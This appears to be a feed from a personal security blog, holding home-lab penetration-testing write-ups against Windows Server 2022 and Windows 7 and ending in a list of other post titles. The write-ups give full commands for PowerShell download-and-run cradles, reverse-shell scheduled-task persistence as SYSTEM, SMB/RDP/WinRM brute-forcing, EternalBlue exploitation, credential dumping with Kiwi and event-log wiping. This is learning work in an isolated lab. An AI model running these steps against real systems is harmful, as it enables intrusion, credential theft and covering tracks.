  -OutFile "C:\Windows\System32\Tasks\update_check.ps1"

WindowsUpdateCheck task registered and in Ready state

Step 5: Trigger and Test

Verified the task fires correctly and the shell reconnects:

netstat -an

Active connections confirming the reverse shell channel

Post-exploitation: ran systeminfo through the shell to confirm full system access:

systeminfo returned over the shell — Primary Domain Controller, Windows Server 2022 Standard

tasklist

Running processes listed through the reverse shell

Step 6: Cleanup (Part 1)

Removed the scheduled task and the script file:

Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
Remove-Item "C:\Windows\System32\Tasks\update_check.ps1" -Force
Get-ScheduledTask -TaskName "WindowsUpdateCheck"

Task confirmed deleted — Get-ScheduledTask returned no results.

WindowsUpdateCheck unregistered and script deleted

HTTP server and Netcat listener shut down on the Kali side

Part 2: Scheduled Task with a Delayed Start

A variation on Part 1 — same reverse shell payload, but the scheduled task starts with a 2-minute delay after the trigger fires. This simulates a more evasive persistence mechanism (delayed execution is harder to catch at boot).

Script

Invoke-WebRequest -Uri "http://192.168.1.39/update_check.ps1" `
  -OutFile "C:\Windows\System32\Tasks\update_check.ps1"

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
  -Argument "-ExecutionPolicy Bypass -File C:\Windows\System32\Tasks\update_check.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup -Delay "00:02:00"

Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName "DelayedReverseShell" `
  -Description "Execute reverse shell with 2-minute delay" `
  -User "SYSTEM" -RunLevel Highest

Write-Output "DelayedReverseShell task has been successfully registered."

Script prepared with 2-minute delayed trigger

Execution

Triggered the script manually to confirm it works before relying on the scheduled task:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.1.39/update_check.ps1')

Task registered, delayed 2 minutes, then shell fired:

DelayedReverseShell task registered — "Delayed Task Registered Successfully with RandomDelay!"

Netcat caught the delayed shell — whoami returned nt authority\system:

Reverse shell arrived after the 2-minute delay — NT AUTHORITY\SYSTEM confirmed

Cleanup (Part 2)

Unregister-ScheduledTask -TaskName "DelayedReverseShell" -Confirm:$false
Remove-Item "C:\Windows\System32\Tasks\update_check.ps1" -Force

DelayedReverseShell task and script file removed

Conclusion

This lab demonstrated two PowerShell reverse shell persistence techniques against Windows Server 2022: a startup-triggered scheduled task and a delayed-start variant. Both achieved SYSTEM-level access, confirmed with systeminfo and whoami. The 2-minute delay in Part 2 makes detection harder at boot, since most endpoint tools focus their attention on processes that spawn immediately on startup.

The key takeaway: scheduled tasks running as SYSTEM with outbound TCP shells are extremely effective persistence — and straightforward to deploy with standard PowerShell cmdlets, no external tools required.

Brute-Force SMB/RDP/WinRM & Persistence

Mon, 05 Jan 2026 07:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

Third post in this lab series. Same private environment — Kali Linux against Windows Server 2022 on VMware Workstation (192.168.1.55). This lab covers a full attack chain: setting up a vulnerable target with weak credentials, brute-forcing SMB/RDP/WinRM, getting a PowerShell session via Evil-WinRM, establishing persistence with a scheduled task, and cleaning up after.

Step 1: Setup on Windows Server 2022

Creating User Accounts with Weak Credentials

On the target Windows Server, I created two domain user accounts with intentionally weak passwords to simulate a realistic misconfigured environment:

New-LocalUser -Name "testuser" -Password (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
New-LocalUser -Name "adminuser" -Password (ConvertTo-SecureString "Admin123" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "adminuser"
Enable-PSRemoting -Force

testuser and adminuser created on the Windows Server target

Account verification — running as lab\group2_166222b

Enabling SMB, RDP, and WinRM Services

Enabled Remote Desktop via System Properties (sysdm.cpl → Remote tab → "Allow remote connections to this computer").

Remote Desktop enabled on the target

Opening System Properties via sysdm.cpl

Step 2: Reconnaissance

Scanned the target to identify open services:

nmap -Pn -sV -T5 192.168.1.55

SMB (445), RDP (3389), WinRM (5985), and multiple AD-related services confirmed open

Step 3: SMB Brute-Force with Metasploit

First, prepared the wordlists:

sudo mkdir -p /home/kali/wordlists
echo -e "testuser\nadminuser\nuser\nguest\nadministrator\nadmin" > /home/kali/wordlists/usernames.txt
chmod 644 /home/kali/wordlists/usernames.txt

Then launched the SMB login scanner in Metasploit:

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.55
set USER_FILE /home/kali/wordlists/usernames.txt
set PASS_FILE /home/kali/wordlists/passwords.txt
set THREADS 10
run

Configuring the SMB brute-force module

The scanner returned two valid credential pairs:

[+] 192.168.1.55:445 - Success: '\testuser:Password123!'
[+] 192.168.1.55:445 - Success: '\adminuser:Admin123'

2 credentials found: adminuser:Admin123 and testuser:Password123!

Verified access by connecting to the SMB share with smbclient and listing directories:

smbclient //192.168.1.55/Users -U adminuser

Successfully listed the SMB shares using the cracked credentials

Step 4: RDP Access

With valid credentials in hand, connected directly via RDP:

rdesktop 192.168.1.55 -u testuser -p 'Password123!'

Full RDP session established as lab\testuser

Step 5: WinRM Exploitation with Evil-WinRM

First scanned WinRM using Metasploit to confirm it was open:

use auxiliary/scanner/winrm/winrm_login
set RHOSTS 192.168.1.55
set USERNAME testuser
set PASSWORD Password123!
run

Then connected directly using Evil-WinRM:

evil-winrm -i 192.168.1.55 -u testuser -p 'Password123!'

WinRM port open and Evil-WinRM shell connecting

Successfully obtained a PowerShell session as lab\testuser with administrative privileges:

whoami                        # lab\testuser
net localgroup administrators # testuser is in the Administrators group

PowerShell session as lab\testuser — full administrative access confirmed

Step 6: Post-Exploitation — Persistence via Scheduled Task

With administrative access, established persistence using a scheduled task named "PersistentShell" — configured to execute a reverse shell script on user logon:

rundll32.exe keymgr.dll,KRShowKeyMgr
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-c Start-Process 'powershell.exe' -ArgumentList '-c IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.39/shell.ps1'')'"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "PersistentShell"

"PersistentShell" scheduled task created and in Ready state

Step 7: Clean Up

Cleared event logs and removed the scheduled task to simulate post-attack cleanup:

wevtutil cl System
Unregister-ScheduledTask -TaskName "PersistentShell" -Confirm:$false
exit

Event logs wiped and PersistentShell task unregistered

Conclusion

This lab walked through a complete attack chain against a misconfigured Windows Server: reconnaissance, credential brute-force across three protocols (SMB, RDP, WinRM), full administrative access via Evil-WinRM, persistence via a scheduled task, and post-attack cleanup.

The key takeaway: weak credentials are the single biggest enabler here. Every step after the initial scan only worked because the target had simple, guessable passwords. Strong password policies and network segmentation would have stopped this chain at Step 3.

Up next: reverse shells, scheduled task persistence with a delayed start, and mitigation strategies.

EternalBlue: SMB Exploitation & Kiwi

Sat, 03 Jan 2026 17:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

Second post in this lab series. Same private environment as Part 1 — Kali Linux and Windows Server 2022 on VMware Workstation. This time: setting up file sharing with Samba, cracking a password hash with John the Ripper, running vulnerability scans, and — since the patched Windows Server 2022 target wasn't exploitable — standing up a Windows 7 VM specifically to demonstrate EternalBlue (MS17-010) SMB exploitation and post-exploitation credential access with Metasploit and Kiwi.

Part 1: Samba File Sharing Between Kali and Windows Server

Goal: set up a Samba share on Kali at /srv/samba/share and confirm read/write access from both Kali and Windows Server 2022.

Environment Setup

Verified connectivity between hosts before starting.

Connectivity confirmed from Kali

Connectivity confirmed from Windows (PowerShell)

Installing and Configuring Samba on Kali

sudo mkdir /srv/samba/share
sudo chmod 777 /srv/samba/share
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
sudo systemctl restart smbd
sudo systemctl status smbd

smbd active and running, share directory created

Mapping the Shared Folder on Windows Server

Mapped the Kali Samba share as a network drive on Windows Server (\\192.168.1.100\).

Shared folder mapped as a network drive — empty at this point

Testing File Access and Sharing

From Kali — created a test file directly in the share:

echo "Test file from Kali Linux" > /srv/samba/share/testfile.txt

File written from the Kali side

Same file visible from Windows Explorer

From Windows — created a file from the Windows side to confirm the reverse direction:

Files from both Kali and Windows now present in the share

ls /srv/samba/share

Two-way read/write access confirmed

Part 2: Password Cracking with John the Ripper

To practice offline password cracking, I generated a hashed password and cracked it with John the Ripper against the rockyou wordlist:

echo "hacker:$(openssl passwd -1 hacker123)" > passwd.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
john --show passwd.txt

Hash cracked in under a second — hacker:hacker123

Network and Vulnerability Scanning

Advanced Nmap scan against the Windows Server 2022 target:

nmap -p- -sV --script vuln 192.168.1.39

Came back clean — no exploitable vulnerabilities flagged (expected, since this target was already patched).

No exploitable vulnerabilities found on the patched target

Nikto web vulnerability scan:

nikto -h 192.168.1.39

Nikto's findings were informational/reconnaissance-level — an admin login page (/login.html), and an ADFS (Active Directory Federation Services) sign-in page — useful leads for further enumeration and credential testing, but nothing directly exploitable on its own.

Admin panel and ADFS sign-in page flagged

Exploiting SMB Vulnerabilities with Metasploit (EternalBlue)

Since the patched Windows Server 2022 wasn't vulnerable to classic SMB exploits, I downloaded a Windows 7 SP1 VM specifically to demonstrate the technique — a well-known target for EternalBlue (MS17-010) in training environments.

Windows 7 Ultimate SP1 VM used as the vulnerable target

Configured the Samba share on the Windows 7 VM as well:

Shared folder accessible from the Windows 7 target

Then set up the exploit in msfconsole:

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.1.48
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.100
options

EternalBlue (MS17-010) module configured against the Windows 7 target

Running it returned a Meterpreter session, followed by a full shell — confirmed with sysinfo (Windows 7 6.1 Build 7601, SP1, x64):

Meterpreter session opened, sysinfo and shell both working

Post-Exploitation: Credential Access with Kiwi (Mimikatz)

With a session established, the next step was credential access. The classic approach is to load Mimikatz inside Meterpreter — but Meterpreter now flags Mimikatz as deprecated in favor of its replacement, Kiwi, and loads it automatically:

meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi ...
Success.

Reference used for the Kiwi workflow: Kali - Use Kiwi to Extract Plaintext Passwords in Meterpreter (LabEx)

Kiwi extension loaded automatically in place of Mimikatz

To pull credentials from the compromised host:

creds_all

NTLM hash retrieved for the local account, running as SYSTEM

Conclusion

This lab covered a good spread of practical skills: setting up cross-platform file sharing with Samba, offline password cracking with John the Ripper, vulnerability scanning with Nmap and Nikto, and — after confirming the patched Server 2022 box wasn't exploitable — standing up a deliberately vulnerable Windows 7 target to walk through the classic EternalBlue (MS17-010) SMB exploit end-to-end with Metasploit, from initial shell to credential harvesting with Kiwi.

Up next: brute-forcing SMB/RDP/WinRM and setting up persistence on the target.

Home AD Lab: Recon & Wing FTP RCE

Thu, 01 Jan 2026 17:00:00 GMT

import { Aside } from 'astro-pure/user'

Overview

First post in a lab series where I'm building out a small attacker/target environment and working through a simplified end-to-end attack chain — starting here with environment setup, initial reconnaissance, a real CVE exploit, and standing up Active Directory Domain Services.

Step 1: Environment Setup

I set up two VMs on VMware Workstation:

Kali Linux — attacker machine
Windows Server 2022 — target machine

Kali Linux attacker machine

Windows Server target machine

Step 2: Network Configuration and Testing

Verified connectivity between the two hosts with basic ping tests in both directions before doing anything else — no point running recon against a host that isn't even reachable.

Connectivity confirmed from the attacker side

Connectivity confirmed from the target side

Step 3: Creating Named Accounts

Set up a named (non-default) account on each machine so activity could be tracked cleanly across the environment.

whoami
id
hostnamectl

Confirming the working account and host details on Kali

Named local account on the Windows target

Target system specs: Windows Server 2022 Standard

Step 4: Initial Reconnaissance with Nmap

Started broad, then narrowed down:

# Host discovery
nmap -sn 192.168.1.0/24

# Full port sweep of the target's first 1000 ports
nmap -sS -p 1-1000 192.168.1.39

# Service/version detection on open ports
nmap -sV 192.168.1.39

Sweeping the subnet for live hosts

Port scan of the target — FTP, SSH, HTTP/HTTPS, RDP, Microsoft-DS found open

Confirming Wing FTP Server as the service on port 21

Step 5: Banner Grabbing and Service Enumeration

Manual banner grab with Netcat:

nc -v 192.168.1.39 21

Manually confirming the FTP banner

Script-assisted banner confirmation with Nmap:

nmap --script banner 192.168.1.39

Cross-checking service banners across all open ports

Vulnerability scan:

nmap --script vuln 192.168.1.39

Flagged a possible admin folder at /login.html

Nmap's vulnerability scripts flagged a possible admin folder at /login.html on the server — a small detail, but exactly the kind of thing worth following up on.

Step 6: Exploit Discovery — Wing FTP Server RCE (CVE-2025-47812)

The FTP service version I found matched a known, critical vulnerability: Wing FTP Server Remote Code Execution, tracked as CVE-2025-47812.

Public proof-of-concept: 4m3rr0r/CVE-2025-47812-poc

PoC script usage — command injection via login.html

Using the published PoC script against the target, I was able to remotely execute the systeminfo command on the Windows Server — confirming working remote code execution through the vulnerable FTP service, with no credentials required (defaults to an anonymous/null login).

Remote code execution confirmed — full systeminfo returned over the vulnerable FTP service

Step 7: Setting Up Active Directory Domain Services (AD DS)

With initial access demonstrated, I switched to the defender/builder side and turned the Windows Server into a Domain Controller.

Installing the AD DS role and promoting to a Domain Controller:

Import-Module ADDSDeployment
Install-ADDSForest `
  -CreateDnsDelegation:$false `
  -DatabasePath "C:\Windows\NTDS" `
  -DomainMode "WinThreshold" `
  -DomainName "lab.local" `
  -DomainNetbiosName "LAB" `
  -ForestMode "WinThreshold" `
  -InstallDns:$true `
  -LogPath "C:\Windows\NTDS" `
  -NoRebootOnCompletion:$false `
  -SysvolPath "C:\Windows\SYSVOL" `
  -Force:$true

AD DS role installed and the server online as a Domain Controller

Creating an OU, users, and a security group:

Using Active Directory Users and Computers (ADUC), I created a LabUsers Organizational Unit, added domain user accounts under it, and grouped them under a security group.

LabUsers Organizational Unit with domain user accounts

Security group membership showing the three domain users

Verifying with PowerShell:

Get-ADUser -Filter * -SearchBase "OU=LabUsers,DC=lab,DC=local" | Select-Object SamAccountName
Get-ADGroupMember Team_Group2 | Select-Object Name,SamAccountName

Confirming domain users and group membership via PowerShell

Conclusion

This lab established a complete virtual attacker/target environment: Kali Linux against Windows Server 2022 on VMware Workstation, with verified connectivity, thorough Nmap-based reconnaissance, and confirmed service enumeration (FTP, SSH, HTTP/HTTPS, RDP, Microsoft-DS on 192.168.1.39), including a flagged admin panel at /login.html.

The standout result: a critical, real-world vulnerability — Wing FTP Server RCE (CVE-2025-47812) — was identified from service fingerprinting alone and successfully exploited to achieve remote code execution.

On the infrastructure side, the server was promoted to a Domain Controller for lab.local, with a proper OU structure, domain users, and a security group in place — the foundation the next posts in this series will build on.

Up next: file sharing, password cracking, and SMB exploitation in the same lab.

zy0ud

M4CR0SC0PE: VBA Macro Analysis with LLM

Overview

Problem Statement

System Overview

The 8-Stage Pipeline

Key Design Decisions

Stage 3 — Multi-Pass Deobfuscation

Stage 5 — The Evidence Package (Core Innovation)

Stage 7 — MITRE ATT&CK Verification (Novel Contribution)

Implementation

Database Schema (7 Tables)

Project Structure

Dashboard

Evaluation

Classification Performance

MITRE ATT&CK Hallucination Rate

Model Selection Recommendation

Why Evidence-Based Prompting Works

Limitations & Future Work

Setup

REV: Packed Trojan, DLL, Rootkit & IDAPython

Overview

Part 1: Packed Trojan — tr_pack1.exe

Sample Collection

Identify the Packer

Unpack

IDA Pro Analysis

sub_40150D — Persistence

sub_401701 — Network Scanning

sub_401912 — Fork + Memory Exhaustion Loop

Part 2: Encrypted Strings DLL — xor_caesar.dll

Compile the DLL

Ghidra Analysis

IDAPython Decryption

Indicators of Compromise (IOCs)

Part 3: VBScript Downloader — Downloader.vbs

Part 4: Rootkit Driver

Part 5: Automation & Scripting

IDAPython — Function Renaming

Highlighting Obfuscation Patterns

Decryption Stub Detection

IDA vs Ghidra Comparison

Summary

REV: RedLine Stealer — Static & Dynamic Analysis

Overview

Phase 1: Lab Environment Setup

Phase 2: Sample Acquisition & Hashing

Phase 3: Static Analysis

VirusTotal

Strings Extraction

PEiD

LordPE

PEview

Dependency Walker

Resource Hacker

Detect It Easy (DiE)

PEstudio

ExifTool

Phase 4: Dynamic Analysis

AnyRun Sandbox

Process Monitor (ProcMon)

Process Explorer

RegShot — Registry & File System Comparison

Phase 5: Behavioral Summary

Phase 6: Conclusions & Takeaways

Session Hijacking & JWT Tampering

Overview

Step 1: Environment Setup

Step 2: Install IIS & ASP.NET 4.8 (S1)

Step 3 & 4: Deploy the Vulnerable Login App

Step 6: Capture the Session Cookie in Firefox (S2)

Step 7: Sniff the Cookie in Wireshark (S3)

Step 8: Hijack the Session with Python (S4)

Step 9: HTTPS + Secure/HttpOnly Mitigation (S5, S6, S7)

9a: Bind HTTPS on IIS

9b: Replace Login.aspx with Hardened Version

9c: Verify the Hijack No Longer Works (S7)

Bonus: JWT Tampering Challenge (B1, B2)

Setup

Part 1: Packed Trojan — `tr_pack1.exe`

`sub_40150D` — Persistence

`sub_401701` — Network Scanning

`sub_401912` — Fork + Memory Exhaustion Loop

Part 2: Encrypted Strings DLL — `xor_caesar.dll`

Part 3: VBScript Downloader — `Downloader.vbs`

Attacker Controller — `hacker_ransom.py` (Kali)

Victim Agent — `ransom.py` (Windows)

Server (Kali) — `server.rs`

Client (Windows) — `client.rs`

Attacker Controller — `hackerkey.py` (Kali)

Victim Agent — `victimkey.py` (Windows)